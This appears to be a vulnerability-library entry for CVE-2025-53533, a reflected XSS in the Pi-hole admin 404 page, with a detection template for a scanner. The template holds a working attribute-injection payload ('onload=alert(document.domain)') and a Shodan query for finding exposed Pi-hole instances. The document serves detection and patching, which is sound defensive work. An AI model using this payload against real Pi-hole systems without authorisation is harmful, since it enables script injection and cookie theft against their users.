/Vulnerability Library

Pi-hole Reflected XSS in 404-Error Page

CVE-2025-53533
Verified

Description

Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.

Severity

Medium

CVSS Score

6.1

Exploit Probability

0%

Affected Product

web_interface

Published Date

April 2, 2026

Template Author

dhiyaneshdk

CVE-2025-53533.yaml
id: CVE-2025-53533

info:
  name: Pi-hole Reflected XSS in 404-Error Page
  author: DhiyaneshDk
  severity: medium
  description: |
    Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
  remediation: Update to Pi-hole web interface version 6.3 or later.
  reference:
    - https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53533
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-53533
    cwe-id: CWE-79
    epss-score: 0.00281
    epss-percentile: 0.51512
  metadata:
    verified: true
    max-request: 1
    vendor: pi-hole
    product: web_interface
    shodan-query: title:"Pi-hole"
  tags: cve,cve2025,pihole,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/"onload=alert(document.domain);>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"onload=alert(document.domain);>">'

      - type: word
        part: body
        words:
          - "pi-hole"

      - type: status
        status:
          - 404
# digest: 4a0a0047304502202afbb8e7d887919b2830ee2634655e8f371e6830cf8062d1a185915a75062e2b022100f5124afb0025a60050f9a6616ca48672676aacb1570bcbf968b17157b5ff55e0:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2025-53533
CWE ID:
cwe-79

References

https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6whttps://nvd.nist.gov/vuln/detail/CVE-2025-53533

Remediation Steps

Update to Pi-hole web interface version 6.3 or later.